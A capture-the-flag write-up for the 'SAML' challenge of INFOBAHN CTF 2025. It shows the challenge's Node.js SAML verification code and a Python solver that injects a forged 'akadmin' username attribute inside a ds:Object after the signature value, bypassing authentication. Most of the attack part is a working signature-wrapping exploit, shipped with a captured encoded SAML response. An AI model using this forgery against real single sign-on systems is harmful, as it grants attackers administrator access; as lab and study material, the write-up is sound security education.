goauthentik authenticantion bypass using Object
| Event Name | INFOBAHN CTF 2025 |
| GitHub URL | - |
| Challenge Name | SAML |
Attachments
References
solution
const username = xmlDoc.querySelector('Attribute[Name="http://schemas.goauthentik.io/2021/02/saml/username"] AttributeValue')?.textContent; -> this takes the first attribute -> add object in the behind signature info
function verifySaml( xmlString, xmlDoc ) {
const sig = new xmlCrypto.SignedXml();
try {
sig.publicCert = fs.readFileSync( 'public.pem', 'latin1' );
} catch ( e ) {
throw new Error( "Missing certificate." );
}
if ( !sig.publicCert ) {
throw new Error( "Missing cert" );
}
const rootId = xmlDoc.documentElement.getAttribute( 'ID' );
if ( !rootId || rootId.includes( '"' ) || rootId.includes( "\\" ) ) {
throw new Error( 'invalid id' );
}
const signedInfoElm = xmlDoc.querySelectorAll( ':root > Signature' );
if ( signedInfoElm.length !== 1 ) {
throw new Error( 'wrong number sigs' );
}
if ( signedInfoElm[0].querySelectorAll( 'Reference[URI="#' + rootId + '"]' ).length !== 1 ) {
throw new Error( 'invalid id' );
}
if ( signedInfoElm[0].querySelectorAll( 'Transform' ).length > 2 ) {
throw new Error( "too many transforms" );
}
sig.loadSignature( signedInfoElm[0].outerHTML );
sig.checkSignature( xmlString );
if ( sig.getSignedReferences().length !== 1 ) {
throw new Error( 'Signature mismatch' );
}
}
...snip...
app.get( '/flag', ( req, res ) => {
if ( req.query.SAMLResponse ) {
const xmlString = zlib.inflateRawSync( Buffer.from( req.query.SAMLResponse, 'base64' ) ).toString();
const xmlDoc = DOMParser.parseFromString( xmlString, 'application/xml' );
if ( !xmlDoc || !xmlString || xmlDoc.documentElement.tagName === 'parsererror' ) {
throw new Error( "invalid saml xml" );
}
console.log( "Recieved the following SAML:\n" + xmlString );
verifySaml( xmlString, xmlDoc );
const username = xmlDoc.querySelector(
'Attribute[Name="http://schemas.goauthentik.io/2021/02/saml/username"] AttributeValue'
)?.textContent;
if ( username === 'akadmin' ) {
res.type( 'text/plain' ).send( process.env.FLAG || 'flag{fake}' );
} else {
res.type( 'text/plain' ).status(401).send( `Hello ${username}. You are not authorized to view the flag.` );
}
} else {
doLogin(res);
}
} );solver
#!/usr/bin/env python3
import base64
from urllib.parse import unquote, quote
import zlib
legit = "http://localhost:3000/flag?SAMLResponse=7ZlZb%2BJKFsff%2BRRR%2BhGlvWMbdaLxBhi84BXwy8hLeQPb4AUbPv0YEtKd3E5uj%2BaOrjTTElJUp06d%2BtepctWvKt8qN9vtxzqo9kVegbsu2%2BXV%2BGp8vG%2FKfFy4VVKNczcD1bj2xwYjS2P0Kzzel0Vd%2BMXu%2Focmn7dwqwqUdVLktyZB9Xgf1%2FV%2BDEFt235tsa9FGUEoDMMQTEO9T1Al0ZebdxZ8Hj4DtRu4tXvz70DufxAfgWD8Er%2F36MPboKx6VY%2F3fZT7O7GqGiDmVe3mdW%2BCUeIBQfqfCcNjFB5jiHN%2Fx4OqTnK3vrZ66WFX%2BO4uLqp6jF0GEO7cqA%2FGP97%2Fk0JgHwYU4cEjFMdRggIeDkgPRggCGY3C0f3Tt0vyxteeyye3qWOQ18n2G%2FSj%2BVtQjY0k6nttSvA0uBVBIOZh8Vzm3LzIk15Gcr5qk0EdF8Eds4uKMqnj7MNsIPAlGw%2Bg8x98BM%2B%2F3EPfO7j298uRnvN6mbeHrCjBl7JyH6rYRYnRLaYOQlD2iQd3li4%2B3n%2F5hfRc25mlm1dhUWbVu%2FKfqnqzmkB%2BBLtiD4KH6ja4m7Jfj%2FhBxqCfyOSTqF8s%2F2b%2BLuvybdaew9jurgFPC%2FJkhoctEhkKP6uCgN5WCSoR1X5d0FYH477d9oGGmVW1j1dNPzZ%2BVvk6CS%2Fl9yvpdeKfG%2Blri%2BaFHDkc6dXeblBPiuxkBUP6Sp0zrJJ3025HaE6wcPZTw2pm293CK3LWzNKWs31GGRDrQiQtz02i1mrURhC64Zo8bxesARMymeDnyUR2hLVMwXXsclExn5mF7ox8H2uawxaQA7yDDInxh6dW4Wh5WNZOMtdDjJA1OZ0UpGutTtLcz%2F2lnc0Sgk6YxDyFxEgtoH6Y9DAeOP5w5C5OYqnwHl4HPpJhjOBqc3QN%2B7qlzPV1nidRvNEqonPdIMpnKsYJtE1UB7vJkXRwnu%2BEZusdksNiWLteXvKRcthn9MGXYNHPZja5tFARUPPSRKUSlgJh71j4bLFrAr%2BhImFQpvN1pUEwtVdObpWm0Ko8cczj4%2BsE%2FJDw6yQswOn7jKwJmOb73e17ibtspmH%2FudfgSRZFXjY5jomziGlFlolEi9XaE9pxI%2FaIQswsEDPN8yoYdOVSa3ltM18UjhgffYXRBGnAaky74AVTZoUpg1gC07YLJ%2BtiBw12wUzf%2Bamgywx1rePaVjRWROah89id4u0s9pWBnFqdbDKozEewamrtqjc%2B28Tu1ZYyhazLraBteFvTeJ7ZZ950kjuoDQ%2BCqX2SdaHl22ulxDPx3Muc4yabFF7aD80Q38tme9V8FAlLhue4AaMVXF9gGdEwCIabwuRhPi8VVzxOpiVNjsT5tKJIjprNdlRToC2LWKa%2BPSvNaLncdLA%2BaKlhCI5HlTjqQT5s5NOMk5ejzWmBms1IIXNF4JWghcqVfoARikPjmegXLF0e1S5luSU0sI7Ho%2BHX6zImtrNOVGJoLkf6ITLD9Sz1mGPeQIdNLBrrFblAtTWhqCY%2B0fZxTh20SZ2OBnu6CkY2nzqUv4wYZ2FNVUE%2FkoAUpYUH9UsvwSIf0%2FQhvbW5dZydNUPdsZ6jztuTFBfUQEKbONtMJKfwaactUcQ7BtshkE1zRkTobJPg3dAK%2FCKpwZImFaa1LGRlCGQ1FZjtIowHRxiVeKwbasckCXNiMrMP0zxcM%2FXCWEq1zzGtwDCuYsoToZ1dplGHVZbdCBNxrUwkNR6UCrWjWd4dudQ2xaVjuBEdmb0unEBstY3MuszN%2BWe%2Bg5dVFgitwEKtNpEZmWVC6g9L9mXuWYbhF%2FthXNvSBPgGtRyIk3WKZZbKb5xl1ehUccbb0qSHu8q3NBNeTFjSSHb1Lp8PJ0LTcaaQtLOkcYLh2jdr9jCQ6mWTRF2exvSEJhFKUbySM9IoAO3JUoN16drKJJ1onMcmx6HtmSjRhGwBSWHY7ObldNB2aV12ukuu54WyOqnH8yHs4nivcjTH2Y7Jz6lVpQJbWUaZSByL1QQ6yxNfwQ8hI9OMOzh7SzEJAHFeQpjig%2FnO57PYRkS4yZvFLF3O96NuVWCUsVNbm4ewhKxDsGXtwKK0dN8pg8Y0HDyQoEMxDLqVXc%2Bma0ZpSxJJI6jwAzU952fe2phU2lnUceI0XcQ5oK6JKWsYy2Y%2BQFf9eYIxj8%2FHw%2Fvt5rv1ZUuC3mxXbza0Z7jZj426L1ZvS1wRgLvrjvc52lVX77HR%2BD6oqv5MfEajt0HHzI0v3xPdBcJGKB0SZBCgLhjheOj3fOHRKIyFNBa4LiB%2FCfz%2Bv0HtT1P4G9TeslbHVx3OnC1STDpBmBV2W09KHvPFjnTn252LRhGYdQtH8oS%2FCNS8wglR0pBUZDEFwXG5wBA88ByUZ49rlC0SIiNWLUzETXPiFhv%2BvEpm6XyplEo1B5p5nAyyvSZsRalRAnZRoUvNYurVyHdgbnPUz51UpTjpxrAL6hnA9w0h7BFOQqR9oZ%2BQCDrn8GDGBAZpCJKb6bP5ZIgiOoOLyRQOPRv0uKPWawvljHq%2BbqAtAau%2Bt%2BTSkbBEeIo30GRDD6RyKx1PjgpZITtDtqat5kne0jKyhpbehoslWUXIhSVO9Wg5FdtoF45kztD11WquykoWDVLobBFr30JVG%2FMy4qg6wLBbcmEKE6PaEDwldtjZrFtZ0fvNjHLClpkqpwJjYtYgpkt9YOkHuzQsNHD4yhkdgxpRRUT7DWq%2FQe03qP0Gtf9xUOshy0uBX7%2BUlJ7FRP5u0p%2BTbv05pF0sSfAQXl3H%2BwuCVXXPR%2FdPmA9jPTZ4BEqOcOAFPjlCMJIaIaSHAATxSY8gQyzwPMJDcQ93AzhE4dAPMYzESBrGX%2FjqWctbmVyRh8mlwwv2PR%2Fen6v0s7EH3BKU9x8HuuTqTilqNVdLJqxB%2BRYHkdd3QB34yT4BF1785BXwhqs%2F6%2Bpd1Yum3iNILtXVRQYL%2BpyC90iKEM8afkEndAPkHljzCzKDrNd8dy1%2BDLwI3Uc3et7udYh5ALreB4NRlwIBoDECwATa4yCgMOAGOIEC4OKeR2EkMSIIEvEoxCeQkA5hGkZpCh%2FRXg9Jt3h%2FED16gPuu4T%2By9lVkn48adPVPTNzOraoekp4%2BfXj2x%2F7Frzcv%2Bz9tUQbLsqj7fIPgioH7oqxfJuKnwX9S98b2mtObwrouE6%2BpwYcVd5fF%2FLpqKj8GmVt9jYrXO8XXpOhBE%2B1BE712BDVJcP8%2ByjODkDcpb83vrX%2BBhP5%2BdcnuBzqCpA%2BQuc3OzV0Yg4l%2FRJmb7L76RfZXCswSvyyqIqwvgaG2uuA4BcEjqN%2BHe9X1CernOskqqE3yoGgr1%2FeLJq%2F%2Fdt39baEq3P31BvGicFoWzf771%2Fnr7Z9HTUD97%2F2owUW7GwTl5aL88%2FH%2Bt0b1iao%2Fy%2F7fIKnZ5%2F9hfqAPv3Xo7XvE63PF7b9sT%2F8C"
legit = legit.strip("http://localhost:3000/flag?SAMLResponse=")
legit = unquote(legit)
xml = zlib.decompress(base64.b64decode(legit), -15).decode("utf-8")
print(xml)
injection = """
<ds:Object xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<Attribute Name="http://schemas.goauthentik.io/2021/02/saml/username">
<AttributeValue>akadmin</AttributeValue>
</Attribute>
</ds:Object>
"""
marker = "</ds:SignatureValue>"
if marker not in xml:
marker = "</SignatureValue>"
if marker not in xml:
raise SystemExit("could not locate SignatureValue closing tag")
xml = xml.replace(marker, marker + injection, 1)
deflater = zlib.compressobj(wbits=-15)
payload = deflater.compress(xml.encode("utf-8")) + deflater.flush()
print("http://localhost:3000/flag?SAMLResponse="+quote(base64.b64encode(payload).decode("utf-8")))